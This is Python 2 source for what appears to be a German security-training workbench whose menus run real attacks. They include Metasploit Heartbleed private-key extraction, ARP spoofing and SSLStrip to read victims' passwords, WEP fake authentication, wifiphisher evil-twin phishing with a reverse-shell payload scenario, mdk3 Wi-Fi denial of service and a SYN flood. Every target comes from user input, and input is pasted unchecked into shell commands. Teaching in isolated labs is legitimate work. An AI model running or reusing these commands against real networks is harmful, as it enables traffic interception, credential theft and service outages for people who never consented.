def StartHeartbleedMetasploit(): shellCols = colors.ShellColors showMenu = True while (showMenu): clearScreen() print(shellCols.UNDERLINE + shellCols.HEADER + 'Angriff auf OpenSSL Heartbleed: ' + shellCols.ENDC + '\n') # IP des Opfers print( 'Zuerst wird die IP-Adresse des Opfers benötigt, auf welchem der verwundbare OpenSSL-Server läuft. Wurde dieser auf dem selben Rechner gestartet, lautet diese 127.0.0.1 (localhost).' ) print( 'In der Raspberry Security Workbench kann ebenfalls der Server angegriffen werden unter router.local' ) ip = rlinput("Gib die IP-Adresse des Zielservers ein: ", "router.local") # Port print( "\n\nAuch der Https-Port des Dienstes wird benötigt. Standardmäßig lautet er 8989." ) port = rlinput("Gib den Port des Zieldienstes ein: ", "8989") # NMAP print( "\n\nAnschließend kann mit Nmap geprüft werden, ob der Server für Heartbleed anfällig ist. Hierzu verfügt Nmap über ein entsprechendes Plugin." ) command = rlinput( "# ", "nmap --script ssl-heartbleed -sV -p %s %s" % (port, ip)) os.system(command) print( "\n\nNmap sollte für den Dienst ausgeben, dass er für Heartbleed verwundbar ist: \nssl-heartbleed:VULNERABLE" ) # metasploit print( "\n\nNun wird ein metasploit Plugin konfiguriert und gestartet, welches versucht, den Private Key des Servers auszulesen." ) command = rlinput( "# ", "msfconsole -x 'use auxiliary/scanner/ssl/openssl_heartbleed; set action KEYS; set RHOSTS %s; set RPORT %s; set verbose true; exploit; exit;'" % (ip, port)) os.system(command) print( "\n\nWar der Exploit erfolgreich, wurde der Private Key des Servers ausgegeben." ) # Beenden selection = raw_input(shellCols.BLUE + '\nDrücke 0 um zum Menü zurückzukehren.' + shellCols.ENDC) print('Gehe zurück zum Hauptmenü') showMenu = False break
def OpferSynFlood_Menu(): shellCols = colors.ShellColors showMenu = True while (showMenu): clearScreen() print shellCols.UNDERLINE + shellCols.HEADER + 'Opfer SYN-Flooding' + shellCols.ENDC + '\n' #Apache2 server starten print( 'In diesem Abschnitt wird der Apache2-Server gestartet, der im SYN-Flooding-Tutorial angegriffen wird.' ) rlinput('Der Server wird mit folgendem Befehl gestartet: \n# ', ' /etc/init.d/apache2 start') # Apache server starten dosDockerControl("start") print('\n') #IP Adressen Opfer/Angreifer print( 'Zuerst muss die IP-Adresse des Interfaces angegeben werden, welches mit dem Netzwerk verbunden ist.' ) command = rlinput('Anzeigen der Interfaces mit folgendem Befehl: \n# ', 'ifconfig') execute(command) ipVictim = raw_input('Bitte die eigene IP-Adresse(IPv4) eingeben: ') ipAttacker = raw_input( 'Bitte die IP-Adresse(IPv4) des Angreifers eingeben: ') print( 'Der folgende Ausdruck zeigt in Wireshark alle Einträge mit beiden IP-Adressen: ' ) print('ip.addr == ' + ipVictim + ' && ip.addr == ' + ipAttacker) selection = raw_input( shellCols.BLUE + '\nDrücke ENTER um den Server zu stoppen. Führen sie diesen Befehl nur aus, wenn die Attacke bereits beendet wurde. ' + shellCols.ENDC) rlinput('Der Server wird mit folgendem Befehl gestoppt : \n# ', ' /etc/init.d/apache2 stop') # Apache2 server stoppen dosDockerControl("stop") selection = raw_input( shellCols.BLUE + '\nDrücke ENTER um das Programm zu verlassen...' + shellCols.ENDC) print('Gehe zurück zum Hauptmenü') showMenu = False break
def WEP_Shared(wifi_name, wifi_mac, router_ssid, router_bssid, router_chn): print( "Für das Knacken von WEP-Shared-gesicherten Netzen muss zuerst eine Deauthentication von AP vermieden werden." ) #START MONITOR-MODEPRESHAREDKEY generics.monitor_mode(wifi_name) #DELETE OLD SKA-FILES command = rlinput( 'Zu Beginn müssen evtl. existierende Shared-Key-Authentication-Files gelöscht werden: \n# ', 'rm sharedkey-*') execute(command) #START AIRODUMP command = rlinput( 'Starten von airodump-ng um PRGA-File (sharedkey) anzulegen. Es muss gewartet werden bis eine Shared-Key-Authentication (SKA) aufgenommen wurde: \n# ', 'airodump-ng -c ' + router_chn + ' --bssid ' + router_bssid + ' -w sharedkey ' + wifi_name) execute(command) #PERFORM SHARED KEY AUTHENTICATION ska = showSKA('sharedkey') if (ska == NULL): print( "Wenn Kein sharedkey gefunden kann ein bug in airodump dafür verantwortlich sein: Einen Workaround kann man unter \"https://itfellover.com/6-shared-key-authentication-ska/\" finden " ) command = rlinput( 'Durchführen einer Shared-Key-Fake-Authentication: \n# ', 'aireplay-ng --deauth 0 -e ' + router_ssid + ' -y ' + ska + ' -a ' + router_bssid + ' -h ' + wifi_mac + ' ' + wifi_name) execute(command) #STOP MONITOR MODE generics.stop_monitor_mode(wifi_name) print( 'Wurde die Shared-Key-Fake-Authentication erfolgreich (\"SUCCESSFUL\") beendet: \n' ) print('1. Ja, es erfolgte eine Ausgabe von \"Association SUCCESSFUL\" \n' + '2. Nein\n') selection = input( "Die Auswahl bitte hier eingeben und mit Enter bestätigen: ") if (selection == 1): print( "Nach erfolgreicher Shared-Key-Fake-Authentication kann mit dem Tutorial zum Knacken von WEP-Open-Keys fortgefahren werden. \n" ) return True else: print( "Eine Shared-Key-Fake-Authentication muss erneut durchgeführt werden. \n" ) return False
def ReplaceImagesMode(): shellCols = colors.ShellColors showMenu = True while (showMenu): clearScreen() print(shellCols.UNDERLINE + shellCols.HEADER + 'Manipulation des Netzwerkverkehrs mit ARP-Spoofing: ' + shellCols.ENDC + '\n') ##Ip-Adressen im Netzwerk herausfinden print( 'In diesem Tutorial werden wie im einfachen ARP-Spoofing mit Ettercap der ARP Cache des Opfers manipuliert. Zusätzlich benutzen wir einen Etterfilter, der den Netzwerkverkehr untersucht und je nach Programmierung des Filters Pakete droppt, den Inhalt manipuliert oder neu erstellte Pakete verschickt. Es wurde bereits ein Filter erstellt, der auf Websiten ein Youtubevideo einbinden soll.\n' ) command = rlinput( 'Zuerst das verwendete Netzwerkinterface herausfinden mit: \n# ', 'ifconfig') os.system(command) network_interface = raw_input('Verwendete Netzwerkinterface: ') command = rlinput( 'Nun werden mit folgendem Befehl die im Netzwerk aktiven Benutzer angezeigt: \n# ', 'arp-scan --interface ' + network_interface + ' --localnet') os.system(command) print('\n') ##Filterangriff mit Ettercap starten victim_ipadress = raw_input('Gib nun die IP-Adresse des Opfers ein: ') path = os.path.dirname(os.path.abspath(__file__)) #### Filter fehlt noch filter = path + "/test.ef" command = rlinput( 'Nun werden wir mit folgendem Befehl unter Angabe des verwendeten Filters das ARP-Spoofing durchgeführt; Ettercap startet in einem neuen Fenster und der Angriff lässt sich mit "q" beenden:\n# ', 'ettercap -T -q -F ' + filter + ' -i ' + network_interface + ' -M ARP /' + victim_ipadress + '// ///') p = execute(command) print('\n') print( 'Nun wird der gesamte Netzwerkverkehr des Opfers über unseren Rechner umgeleitet und durch den Filter manipuliert.' ) ##Beenden selection = raw_input(shellCols.BLUE + '\nDrücke 0 um zum Menü zurückzukehren.' + shellCols.ENDC) print('Gehe zurück zum Hauptmenü') showMenu = False break
def SniffingMode(): shellCols = colors.ShellColors showMenu = True while (showMenu): clearScreen() print(shellCols.UNDERLINE + shellCols.HEADER + 'Angriff mittels einfachem ARP-Spoofing: ' + shellCols.ENDC + '\n') ##Ip-Adressen im Netzwerk herausfinden print( 'In diesem Tutorial wird der ARP Cache des Opfers manipuliert und erlaubt somit den gesamten Netzwerkverkehr des Opfers über unseren Rechner umzuleiten.' ) command = rlinput( 'Zuerst das verwendete Netzwerkinterface herausfinden mit: \n# ', 'ifconfig') os.system(command) network_interface = raw_input('Verwendete Netzwerkinterface: ') command = rlinput( 'Nun werden mit folgendem Befehl die im Netzwerk aktiven Benutzer angezeigt: \n# ', 'arp-scan --interface ' + network_interface + ' --localnet') os.system(command) print('\n') ##Angriff mithilfe von Ettercap starten victim_ipadress = raw_input('Gib nun die IP-Adresse des Opfers ein: ') command = rlinput( 'Nun wird mit folgendem Befehl der Angriff mittels Ettercap gestartet; Ettercap startet in einem neuen Fenster und der Angriff lässt sich mit "q" beenden:\n# ', 'ettercap -T -i ' + network_interface + ' -M ARP /' + victim_ipadress + '// ///') p = execute(command) print('\n') print( 'Nun wird der gesamte Netzwerkverkehr des Opfers über unseren Rechner umgeleitet und erlaubt so die Einsicht und Manipulation der Inhalte.' ) ##Beenden selection = raw_input(shellCols.BLUE + '\nDrücke 0 um zum Menü zurückzukehren.' + shellCols.ENDC) print('Gehe zurück zum Hauptmenü') showMenu = False break
def DeleteIPTable_Menu(): shellCols = colors.ShellColors showMenu = True while(showMenu): clearScreen() print shellCols.UNDERLINE + shellCols.HEADER + 'Löschen der IP-Tables Einträge' + shellCols.ENDC + '\n' #IP Adressen Opfer/Angreifer print('Zuerst muss die IP-Adresse des zuvor benutzten Interfaces angegeben werden.') command = rlinput('Anzeigen der Interfaces mit folgendem Befehl: \n# ', 'ifconfig') execute(command) ipadr = rlinput('Eigene IP-Adresse(IPv4: ') command = rlinput('IP-Tables-Eintrag: \n# ', 'iptables -D OUTPUT -p tcp -s ' +ipadr + ' --tcp-flags RST RST -j DROP') os.system(command) print('\n') selection = raw_input(shellCols.BLUE + '\nDrücke x um das Programm zu verlassen...' + shellCols.ENDC) print('Gehe zurück zum Hauptmenü') showMenu = False break
def Start(): shellCols = colors.ShellColors showMenu = True while(showMenu): clearScreen() print(shellCols.UNDERLINE + shellCols.HEADER + 'SSLStrip-Attacke: ' + shellCols.ENDC + '\n') ##Ip-Forward aktivieren print('In diesem Tutorial werden alle HTTPS-Links des Opfers durch HTTP-Links ersetzt und der Verkehr wird zusätzlich per ARP Spoofing über den eigenen Server geleitet. Dadurch ist es möglich alle Daten (auch Passwörter, etc.) auszulesen.') command = rlinput('Als Erstes wird IP-Forwarding mit folgendem Befehl aktiviert: \n# ' , 'sysctl -w net.ipv4.ip_forward=1') os.system(command) print('\n') selection = raw_input(shellCols.BLUE + '\nDrücke Enter um fortzufahren oder x um das Programm zu verlassen... ' + shellCols.ENDC + '\n') if(selection == "x"): print('Gehe zurück zum Hauptmenü') showMenu = False break ##Netzwerkkonfiguration auslesen command = rlinput('Rufe nun die Konfiguration deiner IP-Netzwerkschnittstellen auf und lies dort dein Gateway und dein Interface aus: ', 'ifconfig') os.system(command) print('\n') ##ARP Spoofing starten victim_ipadress = raw_input('Gib nun die IP-Adresse des Opfers ein (das Opfer gibt ifconfig zum Auslesen ein): ') network_interface = raw_input('Gib nun den Namen des Interfaces des Netzwerkes ein, in dem sich sowohl Angreifer als auch Opfer befinden: ') gateway_ipadress = raw_input('Gib nun die IP-Adresse des Gateways ein: ') command = rlinput('Nun wird mit folgendem Befehl der Angriff mittels arpspoof gestartet:\n# ', 'arpspoof -i ' + network_interface + ' -t ' + victim_ipadress + ' ' + gateway_ipadress) p = execute(command) print('\n') print('Nun wird der gesamte Netzwerkverkehr des Opfers über unseren Rechner umgeleitet und erlaubt so die Einsicht und Manipulation der Inhalte.') selection = raw_input(shellCols.BLUE + '\nDrücke Enter um fortzufahren oder x um das Programm zu verlassen... ' + shellCols.ENDC + '\n') if(selection == "x"): print('Gehe zurück zum Hauptmenü') showMenu = False break ##Weitergeben der Pakete via IPtables an SSLStrip print('Jetzt müssen alle ankommenden Pakete an das Tool SSLStrip weitergegeben werden, damit sie verschlüsselt an den eigentlichen Zielserver weitergeleitet werden können.') listen_port = raw_input('Gibt den Port an, auf den gelauscht werden soll (zum Beispiel 8080): ') command = rlinput('Weiterleiten der Pakete via IPtables: \n# ' , 'iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port ' + listen_port) os.system(command) print('\n') selection = raw_input(shellCols.BLUE + '\nDrücke Enter um fortzufahren oder x um das Programm zu verlassen... ' + shellCols.ENDC + '\n') if(selection == "x"): print('Gehe zurück zum Hauptmenü') showMenu = False break ##Starte das SSLStrip-Programm print('Nun kann das eigentliche SSLStrip gestartet werden.') log_path = raw_input('Gibt nur noch Pfad und Dateinamen an, in dem die HTTPS-Nachrichten im Klartext gespeichert werden sollen: ') command = rlinput('Weiterleiten der Pakete via IPtables: \n# ' , 'sslstrip -a -k -l ' + listen_port + ' -w ' + log_path) os.system(command) print('\n') ##Beende Program selection = raw_input(shellCols.BLUE + '\nDrücke 0 um zum Menü zurückzukehren.' + shellCols.ENDC) os.system('sysctl -w net.ipv4.ip_forward=0') os.system('iptables -t nat -F') print('Gehe zurück zum Hauptmenü') showMenu = False break
def Fake_Menu(): attack = True while (attack == True): clearScreen() shellCols = colors.ShellColors #TODO Text muss noch überarbeitet werden \"Evil Twin attack\" print shellCols.UNDERLINE + shellCols.HEADER + 'Untermenü: Fake-AP erstellen' + shellCols.ENDC + '\n' print( "Mit sogenannten Fake-APs versucht ein Angreifer einen WLAN-Nutzer dazu zu bringen, sich mit einer Kopie eines" + " Original-Access-Points zu verbinden und diesen dann durch geschicktes Phishing, Informationen vom Nutzer zu entlocken." + " Im Idealfall merkt der Nutzer nicht, dass er mit einem Fake-AP verbunden ist und somit Opfer einer Phishing-Attacke wurde." + '\n' + "In diesen Tutorial betrachten wir drei unterschiedliche Szenarien:\n" + "Man in the Middle Anrgiff, Konferenz Wifi(Firmware Update) und Free Wifi" ) print( "Hinweis: Für die ersten beiden Szenarien werden zwei WLAN-Interfaces mit Packet-Injection-Unterstützung benötigt.\n" + "Wählen Sie nun das Szenario aus, dass Sie testen möchten. \n") print('1. \"Man in the Middle\" \n' + '2. \"Firmware Update\" scenario\n' + '3. \"Free Wifi\" scenario\n') try: selection = input( "Die Auswahl bitte hier eingeben und mit Enter bestätigen: ") except SyntaxError: selection = 0 if (selection == 1): #START WIFIPHISHER !!!TODO !!! Muss Besser Beschrieben werden print( "Hierbei wird der zu angreifende Access-Point geklont. Anschließend sendet man Deauthentication-Pakete" + " im Namen des legitimen Access-Points, dadurch werden die Verbindungen der Clients zum Legitimen AP getrennt." + " Da zum einem ein AP bereitgestellt werden muss, zum Anderen die Deauthentication-Pakete gesendet" + " werden müssen, braucht man zwei Wlan-Interfaces. Wahrscheinlich verbinden sich diese Clients nun mit der Fake-AP \” Evil-Twin\”." + " Diese Clients werden nun auf eine Phishing-Seite weitergeleitet, wo Sie wegen eines Route-update aufgefordert werden" + " das WPA-Passwort neu einzugeben.") command = rlinput( 'Starten des wifiphisher und durchführen des Angriffes: \n# ', 'wifiphisher') execute(command) #END elif (selection == 2): #START WIFIPHISHER !!!TODO !!! Muss Besser Beschrieben werden print( "Der genannte Angriff ist sehr nützlich bei Verschlüsselten Access-Points (z.B. bei Konferenzen)" + " wo das Passwort bekannt ist. Das \"Plugin Update\" Szenario stellt einen einfachen weg " + "zur Verfügung, die Opfer dazu zu bewegen, eine Schadsoftware auszuführen " + "(z.B. mit einem reverse shell payload).\n " + "Für diesen Angriff braucht man einen payload, dieser wird im Projekt mit der Datei \"payload\" bereitgestelt.\n " + "Für diesen Angriff verwenden wir das Tool Wifiphisher. Wir übergebn ihn die " + "parameter --essid \"Name des AP \", mit -T das Szenario und mit -pK das Passwort. " + "Bei der Frage, welcher Payload verwendet werden muss, muss man \"payload\" angeben." ) command = rlinput( 'Starten von wifiphisher und durchführen des Angriffes: \n# ', 'wifiphisher --essid CONFERENCE_WIFI_TRAP -T plugin_update -pK 12345678' ) execute(command) #END elif (selection == 3): #START WIFIPHISHER !!!TODO !!! Muss Besser Beschrieben werden print( "Hier greift man kein Netzwerk an. Man erstellt hier ein offenes" + " Wifi Netzwerk mit dem Namen(ESSID) \”FREE WI-FI Trap\” dieses leitet daraufhin den Benutzer auf" + " eine vorgegebene Seite weiter, wo man um ins Internet zu kommen, sich anmelden muss. \n" ) command = rlinput( 'Starten von wifiphisher und durchführen des Angriffes: \n# ', 'wifiphisher --nojamming --essid "FREE_WI-FI_Trap" -T oauth-login' ) execute(command) #END #ReStart Networkmanager generics.restart_networkmanager() print( 'Ende des Fake-AP-Tutorials erreicht! \n Bitte wählen um fortzufahren: \n' ) # REset NEwtork networing stop network-manager stop "" start "" start print('1. Zurück zum Menü \n' + '2. Zurück zur Fake-AP-Übersicht\n' + '0. Fake-AP Tutorial beenden \n') try: selection = input( "Die Auswahl bitte hier eingeben und mit Enter bestätigen: ") except SyntaxError: selection = 0 if (selection == 1): attack = False return True elif (selection == 2): attack = True else: attack = False return False #FINISHED FAKEAP ATTACK
def do(): shellCols = colors.ShellColors showMenu = True while (showMenu): clearScreen() print(shellCols.UNDERLINE + shellCols.HEADER + 'Untermenü Zweites Buffer Overflow Beispiel ' + shellCols.ENDC + '\n') ##Schritt 1 print( 'Als erstes wollen wir den Quellcode zu einem ausführbaren Programm machen. ' ) command = rlinput( 'Dafür Kompilieren wir den Quellcode mit dem GNU Kompiler mit folgendem Befehl: ', 'gcc -ggdb BufferOverflow/SecondExample.c -o BufferOverflow/SecondExample' ) os.system(command) print('\n') selection = raw_input( shellCols.BLUE + '\nDruecke Enter um fortzufahren oder x um das Programm zu verlassen... ' + shellCols.ENDC + '\n') if (selection == "x"): print('Gehe zurück zum Hauptmenü') showMenu = False break ##Schritt 2 print( 'Schaue dir nun den Quellcode von SecondExample.c genau an und versuche nachzuvollziehen, was dort gemacht wird. Solltest du Hilfe benoetigen, schau dir die Erklaerung im PDF-Handbuch der THI Security Workbench in Kapitel Buffer Overflow an.\n' ) print( 'Nachdem du den Code verstanden hast, schliesse bitte mit ":quit" und anschliessend mit Enter. \n' ) command = rlinput( 'Mit dem folgendem Befehl wird SecondExample.c geoeffnet: ', 'view BufferOverflow/SecondExample.c \n') execute(command) print('\n') print( 'Jetzt wird der GNU Debugger in einem eigenen Terminal gestartet, um den Assembler Code des gerade eben erstellten Programms SecondExample zu debuggen. In diesem Terminal werden die Befehle gegeben, die zum Debuggen benutzt werden muessen.\n' ) command = rlinput('Starte den GNU Debugger mit folgendem Befehl: ', 'gdb BufferOverflow/SecondExample') execute(command) print('\n') selection = raw_input( shellCols.BLUE + '\nDruecke Enter um fortzufahren oder x um das Programm zu verlassen... ' + shellCols.ENDC + '\n') if (selection == "x"): print('Gehe zurueck zum Hauptmenue') showMenu = False break ##Schritt 3 print( 'Wir moechten nun genauer betrachten, welcher Bereich im Stack veraendert wird bei einer Uebergabe des Eingangsparameter. Deshalb setzen wir einen Breakpoint bei Line 10 mit folgendem Befehl: break 10 \n' ) selection = raw_input( shellCols.BLUE + '\nDruecke Enter um fortzufahren oder x um das Programm zu verlassen... ' + shellCols.ENDC + '\n') if (selection == "x"): print('Gehe zurueck zum Hauptmen ') showMenu = False break ##Schritt 4 print( 'Nun wird SecondExample gestartet mit folgendem Befehl: run <Uebergabeparameter> z.B. run AAAAAAAA ->Dez. von "A =65"\n' ) selection = raw_input( shellCols.BLUE + '\nDruecke Enter um fortzufahren oder x um das Programm zu verlassen... ' + shellCols.ENDC + '\n') if (selection == "x"): print('Gehe zurueck zum Hauptmen ') showMenu = False break ##Schritt 5 print( 'Aus SecondExample.c ist ersichtlich, dass das Ueberschreiben der Variable "authflag" zum gesuchten Loesungswort fuehrt, jedoch faellt die zusaetzliche Variable "checkForHack" auf (warum?). Das Ziel ist wie bei FirstExample "authflag" zu uebeschreiben, deswegen moechten wir vorerst herausfinden, wo im Stack die Variable zu finden ist.\n' ) print( '\nMit folgendem Befehl sehen wir die Startadresse der Eingabe-Variable "buffer": print &buffer' ) print( '\nMit folgendem Befehl sehen wir die Adresse der gesuchten Variable: print &authflag' ) print( '\nMit folgendem Befehl sehen wir die Adresse der zusaetzlich aufgetauchten Variable: print &checkForHack' ) print( '\nMache dir gedanken, welchen Einfluss die Variable "checkForHack", im zusammenhang mit der dazugehörigen Adresse im Stack, hat.' ) selection = raw_input( shellCols.BLUE + '\nDruecke Enter um fortzufahren oder x um das Programm zu verlassen... ' + shellCols.ENDC + '\n') if (selection == "x"): print('Gehe zurueck zum Hauptmen ') showMenu = False break ##Schritt 6 print( 'Es ist ausserdem zu erkennen, dass das Programm beim Breakpoint unterbrochen wurde und der Uebergabeparameter im Stack noch nicht abgelegt wurde, deshalb schauen wir den Stack mit folgendem Befehl vorher genauer an: x/500b $sp \n' ) selection = raw_input( shellCols.BLUE + '\nDruecke Enter um fortzufahren oder x um das Programm zu verlassen... ' + shellCols.ENDC + '\n') if (selection == "x"): print('Gehe zurueck zum Hauptmen ') showMenu = False break ##Schritt 7 print( 'Mit folgendem Befehl wird das Programm um einen Schritt fortgesetzt: next \n' ) print('Der Uebergabeparameter wird daraufhin im Stack abgelegt.\n') selection = raw_input( shellCols.BLUE + '\nDruecke Enter um fortzufahren oder x um das Programm zu verlassen... ' + shellCols.ENDC + '\n') if (selection == "x"): print('Gehe zurueck zum Hauptmen ') showMenu = False break ##Schritt 8 print( 'Nun ist es Zeit, den Stack mit folgendem Befehl nochmal genauer anzuschauen: x/500b $sp \n' ) selection = raw_input( shellCols.BLUE + '\nDruecke Enter um fortzufahren oder x um das Programm zu verlassen... ' + shellCols.ENDC + '\n') if (selection == "x"): print('Gehe zurueck zum Hauptmen ') showMenu = False break ##Schritt 9 print( 'Abhaengig vom Uebergabeparameter ist nun der ASCII-Wert (dezimal) im Stack zu finden. \n' ) selection = raw_input( shellCols.BLUE + '\nDruecke Enter um fortzufahren oder x um das Programm zu verlassen... ' + shellCols.ENDC + '\n') if (selection == "x"): print('Gehe zurueck zum Hauptmen ') showMenu = False break ##Schritt 10 print( 'Zaehle oder berechne, anhand der vorher angezeigten Adressen, nun wie viele Stellen benoetigt werden, um die Variable "authflag" zu ueberschreiben und tippe "q" ein. \n' ) selection = raw_input( shellCols.BLUE + '\nDruecke Enter um fortzufahren oder x um das Programm zu verlassen... ' + shellCols.ENDC + '\n') if (selection == "x"): print('Gehe zurueck zum Hauptmen ') showMenu = False break ##Schritt 11 print( 'Schliesse nun die Assembler Ansicht mit folgendem Befehl: quit und anschliessend mit Enter.\n' ) selection = raw_input( shellCols.BLUE + '\nDruecke Enter um fortzufahren oder x um das Programm zu verlassen... ' + shellCols.ENDC + '\n') if (selection == "x"): print('Gehe zurück zum Hauptmenue') showMenu = False break ##Schritt 12 print( 'Starte nun das ausfuehrbare Programm SecondExample aus dem Unterordner BufferOverflow und gib als Eingabewert einen String mit so vielen Stellen mit, dass die Daten des Bankkunden noch nicht mit ausgegeben werden.\n' ) command = rlinput('Starte SecondExample mit folgendem Befehl: ', './BufferOverflow/SecondExample <Deine Eingabe>') os.system(command) print('\n') ##Schritt 13 print( 'Starte nun das ausfuehrbare Programm SecondExample aus dem Unterordner BufferOverflow und gib als Eingabewert einen String mit so vielen Stellen mit, dass die Daten des Bankkunden mit ausgegeben werden.\n' ) command = rlinput('Starte SecondExample mit folgendem Befehl: ', './BufferOverflow/SecondExample <Deine Eingabe>') os.system(command) print('\n') print( 'Warum hat die anscheinend richtige Eingabe nicht zum gewuenschten Ergebnis gefuehrt?\n' ) ##Schritt 14 print('Das Tutorial ist hiermit beendet.\n') selection = raw_input(shellCols.BLUE + '\nDruecke x um das Programm zu verlassen... ' + shellCols.ENDC) print('Gehe zurueck zum Hauptmenü') showMenu = False break
def DOS_Menu(): attack = True while (attack == True): clearScreen() shellCols = colors.ShellColors print shellCols.UNDERLINE + shellCols.HEADER + 'Untermenü: WLAN DoS-Attacken' + shellCols.ENDC + '\n' print( "Denial-of-service-Angriffe sind ein beliebtes Mittel, um die Verfügbarkeit eines Dienstes anzugreifen. Neben den bekannten Angriffen, " + "die in IP-Nezten bspw. auf Server abzielen, gibt es auch Angriffe auf die Verfügbarkeit von WLAN-Netzen. Das nachfolgende Tutorial " + "ermöglicht die Durchführung einiger gängiger DoS-Attacken auf WLAN-Netze" ) print( 'Um dieses Tutorial durchzuführen müssen zuerst folgende Parameter vorgegeben werden: ' + '\n 1. Name des WLAN-Interfaces ' + '\n 2. Die BSSID und Kanalnummer des angegriffenen Routers/Netzwerks\n' ) #STEP 1 command = rlinput('WLAN-Interfacename ermitteln mittels: \n# ', 'ifconfig') execute(command) wifi_name = raw_input("Name des WLAN-Interfaces hier angeben: ") #MONITOR MODE generics.monitor_mode(wifi_name) used_interface = wifi_name #KILL PROCESSES generics.kill_wifi_proc() #STEP 1 Check again wifi_name = generics.check_wifi_name(wifi_name) used_interface = wifi_name #STEP 2 command = rlinput( 'Die BSSID und Kanalnummer ermitteln (Netzwerk anhand der SSID indentifzieren): \n# ', 'airodump-ng ' + wifi_name) execute(command) router_bssid = raw_input("Bitte die Router BSSID angeben: ") router_chn = raw_input("Bitte die Netzwerk Kanalnummer angeben: ") #STRIP STRINGS wifi_name = wifi_name.strip() router_bssid = router_bssid.strip() router_chn = router_chn.strip() #OVERVIEW CONFIGURATION print("\n") print shellCols.UNDERLINE + shellCols.HEADER + "Folgende Konfiguration für die Druchführung der Angriffe wurde festgehalten:" + shellCols.ENDC + '\n' print('WLAN-Interfacename: ' + wifi_name) print('BSSID: ' + router_bssid) print('Kanalnummer: ' + router_chn) print("\n") print('\n') print( 'Mit diesem Tutorial können folgende DoS-Attacken durchgeführt werden: ' + '\n 1. Michael shutdown exploitation ' + '\n 2. Beacon flooding ' + '\n 3. Authentication DoS ' + '\n 4. Deauthentication DoS \n') try: selection = input( "Die Auswahl bitte hier eingeben und mit Enter bestätigen: ") except SyntaxError: selection = 1 if ((selection != 1) and (selection != 2) and (selection != 3) and (selection != 4)): print( "Die ausgewählte Methode existiert nicht. Bitte eine Auswahl zwischen 1 und 4 angeben." ) selection = raw_input( "Die Auswahl bitte hier eingeben und mit Enter bestätigen: ") if ((selection != 1) and (selection != 2) and (selection != 3) and (selection != 4)): print( 'Mehrere falsche Eingaben wurden erkannt. Zum Fortfahren wurde automatisch Auswahl 1 gewählt!' ) selection = 1 if (selection == 1): print('Michael shutdown exploitation: \n') command = rlinput( 'Start der DoS-Attacke: \n# ', 'mdk3 ' + wifi_name + ' m -t ' + router_bssid + ' j') execute(command) elif (selection == 2): print('Beacon flooding: \n') print( 'Für diesen Angriff werden folgende zusätzliche Parameter benoetigt:\n' ) channel = rlinput( 'Kanalnummer des Netzwerks, welches während des Angriffes erzeugt wird, angeben : ', '1') if (1 <= channel <= 13): print( 'Die gewählte Kanalnummer befindet sich nicht im erlaubten Bereich. Kanalnummer 1 wird ausgewählt.' ) channel = 1 command = rlinput('Start der DoS-Attacke: \n# ', 'mdk3 ' + wifi_name + ' b -c ' + channel) execute(command) elif (selection == 3): print('Authentication DoS: \n') command = rlinput('Start der DoS-Attacke: \n# ', 'mdk3 ' + wifi_name + ' a -a ' + router_bssid) execute(command) elif (selection == 4): print('Deauthentication DoS: \n') print( 'Anmerkung: Für diesen Angriff wird eine Blacklist benötigt. Die Blacklist beinhaltet die BSSID des anzugreifenden Netzes. Es kann hier auch eine alternative Liste angegeben werden. \n' ) os.system('echo ' + router_bssid + ' > blacklist') command = rlinput( 'Start der DoS-Attacke: \n# ', 'mdk3 ' + wifi_name + ' d -b blacklist -c ' + router_chn) execute(command) #Stop Monitor Mode generics.stop_monitor_mode(wifi_name) #ReStart Networkmanager generics.restart_networkmanager() #END print( 'Ende des DoS-Tutorials erreicht! \n Bitte wählen zum Fortfahren: \n' ) print('1. Zurück zum Menu \n' + '2. Zurück zur DoS-Übersicht\n' + '0. Tutorial beenden \n') try: selection = input( "Die Auswahl bitte hier eingeben und mit Enter bestätigen: ") except SyntaxError: selection = 0 if (selection == 1): attack = False return True elif (selection == 2): attack = True #Just du magic stuff. Unicorn!! else: attack = False return False
def SYNFLOOD_Menu(): shellCols = colors.ShellColors showMenu = True while (showMenu): clearScreen() print shellCols.UNDERLINE + shellCols.HEADER + 'SYN-Flooding Angriff' + shellCols.ENDC + '\n' ##IP-Adresse des verwendeten Adapters herausfinden print( 'In diesem Tutorial wird eine Denial of Service Attacke via SYN- Flooding ausgeführt.' ) print( 'Zuerst muss die IP-Adresse des Interfaces angegeben werden, durch welche der Angriff ausgeführt werden soll,' ) command = rlinput( 'Hierzu lassen wird zuerst alle verfügbaren Interfaces anzeigen. \n# ', 'ifconfig') execute(command) ##IP-Tables mit der eigenen IP-Adresse erstellen print( 'Um die SYN-Flood Attacke richtig auszuführen müssen die ausgehenden RES-Pakete geblockt werden' ) print('Hierzu wird ein Eintrag in den IP-Tables erstellt') attipadr = rlinput('Eigene IP Adresse(IPv4): ') command = rlinput( 'IP-Tables Eintrag: \n# ', 'iptables -A OUTPUT -p tcp -s ' + attipadr + ' --tcp-flags RST RST -j DROP') os.system(command) print('\n') command = rlinput('Wireshark Öffnen: \n# ', ' wireshark &') os.system(command) clearScreen() print( "Gebe die IP-Adresse des Opfers in deinen Browser ein, um den Effekt des Denial-of-Service Angriffs zu sehen.\n" ) raw_input("Drücke Enter um fortzufahren.") synLoop = True while (synLoop): ##Informationen des Opfers eingeben attackedHost = raw_input('Bitte IP des Opfers angeben(IPv4): ') attackedPort = int( raw_input('Bitte den Port des Opfers eingeben: ')) print( 'Der folgende Ausdruck zeigt in Wireshark die Einträge, welche beide IP Adressen beinhalten. ' ) print('ip.addr == ' + attipadr + ' && ip.addr == ' + attackedHost) selection = raw_input(shellCols.BLUE + '\nDrücke ENTER um den Angriff zu starten ' + shellCols.ENDC) flooding(attackedHost, attackedPort) print('Der SYN Flooding Angriff wurde abgeschlossen.') selection = raw_input( shellCols.BLUE + "\nGeben Sie y ein um einen weiteren SYN-Flood Angriff zu starten oder ENTER um das Programm zu beenden: " + shellCols.ENDC) if selection == "Y" or selection == "y": synLoop = True else: synLoop = False selection = raw_input( shellCols.BLUE + '\nDrücke Enter um das Programm zu verlassen...' + shellCols.ENDC) print('Gehe zurück zum Hauptmenü') showMenu = False break
